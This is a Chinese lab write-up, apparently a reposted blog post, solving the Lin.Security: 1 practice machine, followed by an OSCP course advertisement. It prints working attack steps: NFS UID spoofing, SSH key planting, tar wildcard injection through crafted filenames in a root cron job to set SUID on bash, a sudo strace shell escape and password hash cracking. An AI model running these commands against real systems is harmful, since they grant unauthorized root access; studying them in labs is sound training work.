打靶日记 Lin.Security: 1

admin 2025年4月19日00:18:24评论4 views字数 5424阅读18分4秒阅读模式

靶机配置看这个师傅的 丨Arcueid丨,很详细

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 Lin.Security: 1
nmap -sS -sV -T5 -p- 192.168.10.17 -A
打靶日记 Lin.Security: 1

二、nfs挂载目录

首先检查目标主机导出了哪些NFS共享目录

showmount -e 192.168.10.17
打靶日记 Lin.Security: 1

允许所有客户端挂载(* 表示无IP限制)

挂载/home/peter目录到本地

mkdir /tmp/peter 
mount -t nfs 192.168.10.17:/home/peter /tmp/peter

挂载成功后查看

ls -la /tmp/peter

尝试进入挂载的peter目录,发现没有权限,这时就可以创建一个UID为1001的peter用户绕过

权限绕过

NFS(网络文件系统)在验证文件访问权限时,依赖数字UID/GID而非用户名。 当你在本地挂载远程NFS共享目录时,系统会将本地用户的UID与远程文件的属主UID进行匹配:

  • 若本地存在相同UID的用户 → 可读写对应文件(即使用户名不同)

  • 若本地无匹配UID的用户 → 按nobody处理,导致权限不足

useradd -u 1001 peter
passwd peter #设置peter的密码
打靶日记 Lin.Security: 1

三、反弹shell

可以看下这篇文章的六、总结,将公钥私钥的反弹shell原理写的很详细

su peter
cd /tmp/peter
mkdir .ssh
cd .ssh
ssh-keygen -t rsa
       ./id_rsa,密码为空
打靶日记 Lin.Security: 1
mv id_rsa.pub authorized_keys
mv id_rsa /tmp/id_rsa
chmod 600 /tmp/id_rsa
chmod 600 authorized_keys
chmod 700 .ssh
打靶日记 Lin.Security: 1

还要注意id_rsa是不是当前kali用户的

打靶日记 Lin.Security: 1
sudo chown yzy:yzy /tmp/id_rsa
打靶日记 Lin.Security: 1
ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i /tmp/id_rsa [email protected]
打靶日记 Lin.Security: 1

home目录下有三个文件bob peter susan,bob下有一个.viminfo,susan目录下有一个.secret,里面是MySuperS3cretValue!

peter@linsecurity:~$ cd ..
peter@linsecurity:/home$ ls
bob  peter  susan
peter@linsecurity:/home$ cd  bob
peter@linsecurity:/home/bob$ ls -la
total 32
drwxr-xr-x 4 bob  bob  4096 Apr 15 18:30 .
drwxr-xr-x 5 root root 4096 Jul  9  2018 ..
-rw-r--r-- 1 bob  bob   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 bob  bob  3771 Apr  4  2018 .bashrc
drwx------ 2 bob  bob  4096 Jul  9  2018 .cache
-rw-rw-r-- 1 bob  bob     0 Jul  9  2018 .cloud-locale-test.skip
drwx------ 3 bob  bob  4096 Jul  9  2018 .gnupg
-rw-r--r-- 1 bob  bob   807 Apr  4  2018 .profile
-rw------- 1 root root 1400 Apr 15 18:30 .viminfo
peter@linsecurity:/home/bob$ cd ..
peter@linsecurity:/home$ cd susan
peter@linsecurity:/home/susan$ ls -la
total 24
drwxr-xr-x 2 susan susan 4096 Jul 10  2018 .
drwxr-xr-x 5 root  root  4096 Jul  9  2018 ..
-rw-r--r-- 1 susan susan  220 Jul  9  2018 .bash_logout
-rw-r--r-- 1 susan susan 3771 Jul  9  2018 .bashrc
-rw-r--r-- 1 susan susan  807 Jul  9  2018 .profile
-rw-r--r-- 1 susan susan   20 Jul  9  2018 .secret
peter@linsecurity:/home/susan$ cat .secret
MySuperS3cretValue!

四、提权

这里只尝试了peter用户提权,官方给了bob/secret,这个bob用户有sudo的权限,https://gtfobins.github.io/#+sudo这个网站有很全的linux提权

定时任务提权

ls -alh /etc/*cron*
打靶日记 Lin.Security: 1
find / -name .placeholder* 2>/dev/null
打靶日记 Lin.Security: 1
cat /etc/cron.d/.placeholder
打靶日记 Lin.Security: 1

请勿编辑或删除

此文件是一个简单的占位符,用于防止 dpkg 删除此目录

find / -name backup* 2>/dev/null
cat /etc/cron.daily/backup
打靶日记 Lin.Security: 1

脚本遍历 /home 下的用户目录,并对每个目录执行/bin/tar -zcf /etc/backups/home-$i.tgz *

当用户目录中存在以 --checkpoint=1 或 --checkpoint-action=exec=... 命名的文件时,tar 会将这些文件名解析为命令行参数,触发预设动作

cd /home/peter
touch -- "--checkpoint=1"
# 创建触发命令执行的文件名(注意引号转义)
touch -- "--checkpoint-action=exec=sh shell.sh"
# 在用户目录下创建 shell.sh
echo'#!/bin/bash' > shell.sh
echo'chmod +s /bin/bash' >> shell.sh  # 赋予 bash SUID 权限
chmod +x shell.sh

1.touch -- "--checkpoint=1"

  • 目的:创建一个文件名为 --checkpoint=1 的文件。

  • 关键点

    • -- 的作用是告诉 touch 命令:后面的内容不是选项,而是文件名

    • 文件名中的 --checkpoint=1 是 tar 命令的一个参数,用于定义检查点的间隔(即每处理 1 个文件后触发检查点)。

    • 当 tar 命令运行时,如果当前目录中存在名为 --checkpoint=1 的文件,它会将其视为命令行参数加载,从而覆盖默认行为。

2.touch -- "--checkpoint-action=exec=sh shell.sh"

  • 目的:创建另一个文件名为 --checkpoint-action=exec=sh shell.sh 的文件。

  • 关键点

    • --checkpoint-action 是 tar 的参数,用于定义在检查点触发时要执行的操作。

    • exec=sh shell.sh 表示在检查点触发时,执行命令 sh shell.sh(即运行 shell.sh 脚本)。

    • 通过创建此文件,tar 会读取文件名并将其作为参数,从而在检查点触发时执行你的恶意脚本。

3.echo '#!/bin/bash' > shell.sh

  • 目的:创建 shell.sh 脚本,并写入 #!/bin/bash

  • 作用:定义脚本的解释器为 Bash。

4.echo 'chmod +s /bin/bash' >> shell.sh

  • 目的:向 shell.sh 追加一行命令 chmod +s /bin/bash

  • 作用

    • chmod +s 表示设置文件的 SUID 和 SGID 权限。

    • 当 shell.sh 被以 root 权限 执行时(例如通过 cron 任务),/bin/bash 会获得 SUID/SGID 权限。

    • 此时,普通用户执行 /bin/bash -p 会以 root 身份启动一个 Shell。

5.chmod +x shell.sh

  • 目的:为 shell.sh 添加可执行权限。

  • 作用:确保脚本可以被执行。

打靶日记 Lin.Security: 1

第二天的6点25会执行,直接改时间

# 手动修改系统时间到 6:24,等待 1 分钟触发
date -s "06:24:50"
ls -l /bin/bash
# 成功时会显示 -rwsr-sr-x
/bin/bash -p
打靶日记 Lin.Security: 1
- r w s  r - s  r - x
│ │ │ │  │ │ │  │ │ │
│ │ │ │  │ │ │  └─ 其他用户:读 + 执行(无特殊权限)
│ │ │ │  │ │ └─── 所属组:SGID 权限(s 表示 SGID 且组有执行权限)
│ │ │ │  │ └───── 所属组:无写权限
│ │ │ │  └─────── 所属组:读权限
│ │ │ └────────── 所有者:SUID 权限(s 表示 SUID 且所有者有执行权限)
│ │ └──────────── 所有者:写权限
│ └────────────── 所有者:读权限
└──────────────── 文件类型(- 表示普通文件)

其他用户无须权限即可执行获得root的shell

普通用户可以直接通过 /bin/bash -p 启动一个具有 root 权限 的 shell

SUID提权

find / -perm -4000 -print 2>/dev/null
-bash-4.4$ find / -perm -4000 -print 2>/dev/null
/snap/core/17200/bin/mount
/snap/core/17200/bin/ping
/snap/core/17200/bin/ping6
/snap/core/17200/bin/su
/snap/core/17200/bin/umount
/snap/core/17200/usr/bin/chfn
/snap/core/17200/usr/bin/chsh
/snap/core/17200/usr/bin/gpasswd
/snap/core/17200/usr/bin/newgrp
/snap/core/17200/usr/bin/passwd
/snap/core/17200/usr/bin/sudo
/snap/core/17200/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17200/usr/lib/openssh/ssh-keysign
/snap/core/17200/usr/lib/snapd/snap-confine
/snap/core/17200/usr/sbin/pppd
/bin/ping
/bin/fusermount
/bin/umount
/bin/bash
/bin/ntfs-3g
/bin/su
/bin/mount
/usr/bin/pkexec
/usr/bin/netkit-rlogin
/usr/bin/xxd
/usr/bin/newgidmap
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/netkit-rcp
/usr/bin/chfn
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/netkit-rsh
/usr/bin/taskset
/usr/bin/passwd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/sbin/mount.nfs

strace

sudo -l可以看到strace无需密码执行

打靶日记 Lin.Security: 1
sudo strace -o /dev/null /bin/bash

hash密码破解

打靶日记 Lin.Security: 1
insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh
echo"insecurity:AzER3pBZh6WZE" > hash.txt

john --format=descrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
打靶日记 Lin.Security: 1

insecurity P@ssw0rd

打靶日记 Lin.Security: 1

END

oscp

有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

打靶日记 Lin.Security: 1

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包

打靶日记 Lin.Security: 1
打靶日记 Lin.Security: 1
打靶日记 Lin.Security: 1

原文始发于微信公众号(泷羽Sec-临观):打靶日记 Lin.Security: 1

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月19日00:18:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 Lin.Security: 1https://cn-sec.com/archives/3976610.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息